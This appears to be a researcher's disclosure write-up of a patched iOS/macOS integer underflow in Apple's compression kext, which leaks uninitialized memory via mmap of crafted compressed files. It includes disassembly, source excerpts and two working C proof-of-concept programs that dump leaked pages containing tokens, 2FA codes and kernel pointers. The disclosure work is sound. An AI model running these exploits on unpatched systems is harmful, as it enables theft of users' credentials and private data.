Reported July 30, 2026 · Fixed August 17, 2026 (iOS 26.6.1 & macOS 26.6.2) · No CVE Issued
Integer underflow in AppleFSCompressionTypeZlib.kext -> uninitialized memory disclosure (iOS & macOS). Full 16kB pages are disclosed at ~2GB/s per thread via mmap on a crafted APFS or HFS+ file.
Data obtained included:
- KASLR slide + signed kernel pointers
- HTTP network requests from Safari (including JWTs)
- 2FA codes and notification contents
- Freed heap memory from 3rd-party applications
No CVE / bounty was issued. Apple stated that the bug was fixed internally prior to my report.
Discovery
This was found by a parity fuzzer comparing APFS’s resource fork implementation against an implementation of mine. More details will be provided in a future article.
The APFS Compression Format
When a file is transparently compressed on APFS, it is marked with a UF_COMPRESSED flag and stored in 64kB chunks. When the flag is set, the kernel reads the extended attribute (xattr) in com.apple.decmpfs:
com.apple.decmpfs xattr
| offset | size | field |
|---|---|---|
0 | 4 | magic (“cmpf”) |
4 | 4 | compression type |
8 | 8 | uncompressed size |
16 | 0-3786 | data |
This bug lives in the dispatch handler for all compression types, so every type (except LZ4, which is 27.0+) is affected. Those types are:
- 3/4 (ZLIB)
- 7/8 (LZVN)
- 9/10 (Stored)
- 11/12 (LZFSE)
- 13/14 (LZBITMAP)
The odd type of every pair reads the data field in com.apple.decmpfs. The even types ignore the data field, and read data from a separate xattr, com.apple.ResourceFork.
com.apple.ResourceFork - types 8, 10, 12, 14 ONLY (type 4 is different)
| Offset (bytes) | Field | Size | Description |
|---|---|---|---|
0 | table_size | 4 (u32 LE) | (chunk_count + 1) * 4 |
4 | end_offset[0] | 4 (u32 LE) | cumulative offset where chunk 0’s data ends |
... | ... | 4 (u32 LE) | one entry per chunk |
table_size | chunk 0 data | end_offset[0] - table_size | chunk data follows the table |
Crafting the File
Both decmpfs_pagein_compressed and decmpfs_fetch_uncompressed_data use hdr->uncompressed_size (a user-controlled value) to check if a read starts after EOF:
decmpfs_fetch_uncompressed_data (decmpfs.c:L1180-1193):
if (offset >= (off_t)hdr->uncompressed_size) {
/* reading past end of file; nothing to do */
err = 0;
goto out;
}
decmpfs_pagein_compressed (decmpfs.c:L1330-1341):
// from L1321, cachedSize = hdr->uncompressed_size
if (f_offset < 0 || f_offset >= cachedSize ||
(f_offset & PAGE_MASK_64) || (size & PAGE_MASK) || (pl_offset & PAGE_MASK)) {
decmpfs_ktriage_record(KTRIAGE_DECMPFS_IVALID_OFFSET, 0);
err = EINVAL;
goto out;
}
The checks themselves are fine - but against a manipulated hdr->uncompressed_size, they do nothing. This turns out to be a problem.
Reading from Nothing
There are two ways to read past the end of the file:
- Read starting from a nonexistent chunk (this fails immediately)
- Read starting within the final 64kB chunk, but after its end
The only option here is mmap. Any path through decmpfs_read_compressed goes through adjust_fetch, which rounds up the request to the full 64kB chunk size for XNU’s page cache.
Now, mmap a 1-byte file where hdr->uncompressed_size=65536, then read index 16384. We reach the following position in (decmpfs.c:L1439-1443):
// We are here: uplPos = 16384, uplSize = 16384
// watch did_read closely, it controls the zeroing
err = decmpfs_fetch_uncompressed_data(vp, cp, hdr, uplPos, uplSize, 1, &vec, &did_read);
// The tail zeroing is below. It will never run.
/* zero out whatever wasn't read */
if (did_read < rounded_uplSize) {
memset((char*)vec.buf + did_read, 0, (size_t)(rounded_uplSize - did_read));
}
Inside decmpfs_fetch_uncompressed_data, we call AppleFSCompressionTypeZlib->fetch (decmpfs.c:L1216).
// offset = 16384, size = 16384, bytes_read = did_read
err = fetch(vp, decmpfs_ctx, hdr, offset, size, nvec, vec, bytes_read);
Inside AppleFSCompressionTypeZlib.kext
The kext checks offset against hdr->uncompressed_size (again). We control the header, so the check passes:
; From 26A5388g, at 0xfffffe00083c3550
ldur x8, [x2, #0xc] ; hdr->uncompressed_size
subs x9, x8, x3 ; ... minus the requested offset
b.ls past_eof ; offset >= uncompressed_size -> success, bytes_read = 0
csel x27, x9, x4, lo ; clamp output to uncompressed_size - offset
Requests for data past the start of the chunk have the initial bytes discarded. The counter tracks every byte decompressed, including the discarded ones, and subtracts the skip at the end:
; From 26A5388g, at 0xfffffe00083c3788
lsr x24, x25, #16 ; chunk index = offset >> 16
ands x10, x25, #0xffff ; skip = offset & 0xffff
b.eq no_skip ; skip == 0 -> decode straight into the caller's buffer
stp xzr, x10, [x23] ; vec[0] = { NULL, skip }
mov w8, #0x10000 ; Required chunk size
sub x9, x8, x10 ; 65536 - skip still to come out of this chunk
mov w8, #0x1 ; the caller's buffer becomes vec[1]
...
mov x28, #0x0 ; counter for bytes_read (including discarded)
str x10, [sp, #0x28] ; keep the skip for the end
A loop runs until all chunks of the request are satisfied, followed by the return:
; From 26A5388g, at 0xfffffe00083c3950
mov w26, #0x0 ; return success
ldr x8, [sp, #0x28] ; skip
sub x8, x28, x8 ; bytes_read = bytes_read - skip (WRAPS!)
str x8, [x19] ; *bytes_read = the wrapped value
b cleanup ; free the buffers, then mov x0, x26 & retab
Our chunk writes a single byte to the output, yet skip is 16384, so x28 - skip underflows. After the return, did_read is 2^64-16383 (decmpfs.c:L1439-1443):
err = decmpfs_fetch_uncompressed_data(vp, cp, hdr, uplPos, uplSize, 1, &vec, &did_read);
// -> We are here, did_read = 2^64-16383, memory uninitialized.
/* zero out whatever wasn't read */
if (did_read < rounded_uplSize) {
memset((char*)vec.buf + did_read, 0, (size_t)(rounded_uplSize - did_read));
}
2^64 > rounded_uplSize, so the did_read < rounded_uplSize check is false, the memset is skipped, and the chunk is committed uninitialized.
The Inline Chunk Leak
This demo writes a file with a single 1-byte inline chunk, then dumps 48kB of memory. Type 9 (Stored) is used for simplicity: a stored chunk is 0xCC followed by the raw bytes.
// cc -o poc poc.c && ./poc /tmp/f | xxd
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>
#define SIZE 65536 // hdr->uncompressed_size
#define HOLE 16384 // start of the leak
int main(int argc, char **argv) {
// header: magic "cmpf" LE, type 9 (Stored), uncompressed_size 65536,
// then the chunk itself: 0xCC (stored marker) and 1 byte of data
char hdr[18] = { 'f','p','m','c', 9,0,0,0, 0,0,1,0,0,0,0,0, (char)0xCC, 'A' };
close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
setxattr(argv[1], "com.apple.decmpfs", hdr, 18, 0, XATTR_NOFOLLOW);
chflags(argv[1], 0x20); // set UF_COMPRESSED
unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_PRIVATE,
open(argv[1], O_RDONLY), 0);
madvise(m, SIZE, MADV_RANDOM); // disable readahead
int nonzero = 0;
for (int i = HOLE; i < SIZE; i++)
if (m[i]) nonzero++;
fprintf(stderr, "%d of %d bytes non-zero\n", nonzero, SIZE - HOLE);
if (nonzero) fwrite(m + HOLE, 1, SIZE - HOLE, stdout);
}
Boosting Speed
The inline path supplies ~450MB/s on a single thread, and spends most of its time in file creation overhead: We cannot simply re-read the same file, as we would receive the same uninitialized bytes again from page cache.
Thankfully, we can invalidate the page cache by using MAP_SHARED + msync(MS_INVALIDATE), resulting in speeds of ~2GB/s:
unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_SHARED, fd, 0);
madvise(m, SIZE, MADV_RANDOM);
for (;;) {
// touch pages 1-3 of every chunk, as above
msync(m, SIZE, MS_INVALIDATE); // evict; the next touch faults again
}
Practically, there is little difference between 450MB/s and 2GB/s. Both leak plenty of data.
Multiple Chunks
Inline chunks are not the only option - resource forks are also affected. Let’s take another look at the disassembly:
mov w8, #0x10000 ; Required chunk size
sub x9, x8, x10 ; 65536 - skip still to come out of this chunk
skip is measured from the start of the chunk - so any fault into a page past the end of its chunk will leak. Thus, we can create a resource fork containing a series of 1-byte chunks, and extract 3 pages from every chunk.
This demo leaks CHUNKS chunks from one file. For CHUNKS >= 256, this gets about 2.1GB/s, regardless of whether msync is used.
// cc -o poc2 poc2.c && ./poc2 /tmp/f | xxd
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>
#define CHUNKS 4 // 1-byte chunks in the resource fork
#define CHUNK 65536
#define PAGE 16384
#define SIZE (CHUNKS * CHUNK) // hdr->uncompressed_size
int main(int argc, char **argv) {
// header: magic "cmpf" LE, type 10 (Stored), uncompressed_size SIZE
char hdr[16] = { 'f','p','m','c', 10,0,0,0 };
uint64_t size = SIZE;
memcpy(hdr + 8, &size, 8);
// resource fork: table_size, one end_offset per chunk, then the chunks
uint32_t table = (CHUNKS + 1) * 4;
unsigned char rsrc[(CHUNKS + 1) * 4 + CHUNKS * 2];
memcpy(rsrc, &table, 4);
for (int i = 0; i < CHUNKS; i++) {
uint32_t end = table + 2 * (i + 1);
memcpy(rsrc + 4 + 4 * i, &end, 4);
rsrc[table + 2 * i] = 0xCC;
rsrc[table + 2 * i + 1] = 'A';
}
close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
setxattr(argv[1], "com.apple.decmpfs", hdr, 16, 0, XATTR_NOFOLLOW);
setxattr(argv[1], "com.apple.ResourceFork", rsrc, sizeof rsrc, 0, XATTR_NOFOLLOW);
chflags(argv[1], 0x20); // set UF_COMPRESSED
unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_PRIVATE,
open(argv[1], O_RDONLY), 0);
madvise(m, SIZE, MADV_RANDOM); // disable readahead
// page 0 of every chunk is zeroed; pages 1-3 leak
int nonzero = 0;
for (int c = 0; c < CHUNKS; c++)
for (int i = c * CHUNK + PAGE; i < (c + 1) * CHUNK; i++)
if (m[i]) nonzero++;
fprintf(stderr, "%d of %d bytes non-zero\n", nonzero, CHUNKS * (CHUNK - PAGE));
for (int c = 0; c < CHUNKS; c++)
fwrite(m + c * CHUNK + PAGE, 1, CHUNK - PAGE, stdout);
}
Apple’s Fix
When a chunk produces fewer bytes than the start index, return EINVAL:
; From 26A5406e, at 0xfffffe00083c700c
ldr x8, [sp, #0x28] ; skip
subs x8, x28, x8 ; subs now, sets flags
b.hs store ; no borrow -> report the count
mov w26, #0x16 ; borrow -> 0x16 = 22 = EINVAL
b cleanup ; error and cleanup
store:
mov w26, #0x0
str x8, [x19]
b cleanup
The check lives in AppleFSCompressionTypeZlib, and fixes all formats. On patched systems (iOS 26.6.1+, macOS 26.6.2+), APFS mmap returns zeroed memory, and HFS+ mmap returns SIGBUS.
Final Notes
In the coming weeks I’ll be publishing a set of utilities for high-ratio APFS compression (custom LZFSE/LZBITMAP encoders). The results are rather impressive, offering reduction of ~15% to the size of the iOS operating system.
If you’re interested in shrinking iOS, or in my 27.2 reports, feel free to join the RSS, or follow me on X / LinkedIn. Posts will be approximately weekly for the near future.